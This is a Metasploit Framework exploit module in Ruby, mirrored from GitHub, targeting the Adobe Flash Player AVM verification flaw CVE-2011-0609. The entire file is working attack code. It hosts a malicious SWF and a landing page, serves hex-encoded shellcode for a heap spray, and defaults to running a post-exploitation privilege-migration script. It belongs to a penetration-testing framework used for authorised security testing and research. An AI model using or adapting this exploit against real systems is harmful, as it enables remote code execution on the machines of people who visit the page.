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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/windows/browser/adobe_flashplayer_avm.rb
Views: 1904
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##

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# This module requires Metasploit: https://metasploit.com/download

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# Current source: https://github.com/rapid7/metasploit-framework

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##

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class MetasploitModule < Msf::Exploit::Remote

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  Rank = GoodRanking

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  include Msf::Exploit::Remote::HttpServer::HTML

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  def initialize(info = {})

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    super(update_info(info,

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      'Name'           => 'Adobe Flash Player AVM Bytecode Verification Vulnerability',

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      'Description'    => %q{

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          This module exploits a vulnerability in Adobe Flash Player versions 10.2.152.33

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        and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification

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        logic. This results in unsafe JIT(Just-In-Time) code being executed.  This is the same

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        vulnerability that was used for the RSA attack in March 2011.

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          Specifically, this issue results in uninitialized memory being referenced and later

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        executed. Taking advantage of this issue relies on heap spraying and controlling the

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        uninitialized memory.

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          Currently this exploit works for IE6, IE7, and Firefox 3.6 and likely several

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        other browsers. DEP does catch the exploit and causes it to fail. Due to the nature

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        of the uninitialized memory its fairly difficult to get around this restriction.

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        },

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      'License'        => MSF_LICENSE,

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      'Author'         =>

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        [

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          'bannedit', # Metasploit version,

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          'Unknown'   # Malcode version seen used in targeted attacks

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        ],

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      'References'     =>

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        [

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          ['CVE', '2011-0609'],

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          ['OSVDB', '71254'],

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          ['URL', 'http://bugix-security.blogspot.com/2011/03/cve-2011-0609-adobe-flash-player.html'],

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          ['URL', 'http://www.adobe.com/devnet/swf.html'],

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          ['URL', 'http://www.adobe.com/support/security/advisories/apsa11-01.html'],

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          ['URL', 'http://www.f-secure.com/weblog/archives/00002226.html'],

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        ],

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      'DefaultOptions' =>

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        {

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          'EXITFUNC'          => 'process',

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          'HTTP::compression' => 'gzip',

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          'HTTP::chunked'     => true,

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          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'

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        },

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      'Payload'        =>

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        {

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          'Space'    => 1000,

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          'BadChars' => "\x00",

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          'DisableNops' => true

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        },

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      'Platform'       => 'win',

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      'Targets'        =>

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        [

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          [ 'Automatic', {}],

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        ],

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      'DisclosureDate' => '2011-03-15',

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      'DefaultTarget'  => 0))

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  end

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  def exploit

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    path = File.join( Msf::Config.data_directory, "exploits", "CVE-2011-0609.swf" )

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    fd = File.open( path, "rb" )

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    @swf = fd.read(fd.stat.size)

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    fd.close

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    super

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  end

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  def on_request_uri(cli, request)

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    trigger = @swf

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    trigger_file = rand_text_alpha(rand(6)+3) + ".swf"

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    shellcode = payload.encoded.unpack('H*')[0]

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    obj_id = rand_text_alpha(rand(6)+3)

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    if request.uri.match(/\.swf/i)

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      print_status("Sending Exploit SWF")

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      send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })

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      return

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    end

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    # we use a nice trick by having Flash request our shellcode and load it for the heap spray

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    # src for the flash file: external/source/exploits/CVE-2011-0609/exploit.as

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    if request.uri.match(/\.txt/i)

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      send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })

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      return

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    end

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    html =  <<-EOS

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    <html>

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      <head>

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      </head>

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      <body>

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    <center>

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      <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"

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                 id="#{obj_id}" width="600" height="400"

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                 codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">

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             <param name="movie" value="#{get_resource}#{trigger_file}" />

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             <embed src="#{get_resource}#{trigger_file}" quality="high"

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                 width="320" height="300" name="#{obj_id}" align="middle"

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                 allowNetworking="all"

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                 type="application/x-shockwave-flash"

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                 pluginspage="http://www.macromedia.com/go/getflashplayer">

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             </embed>

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         </object>

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    </center>

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    </body>

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    </html>

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EOS

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    print_status("Sending #{self.name} HTML")

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    send_response(cli, html, { 'Content-Type' => 'text/html' })

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  end

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end

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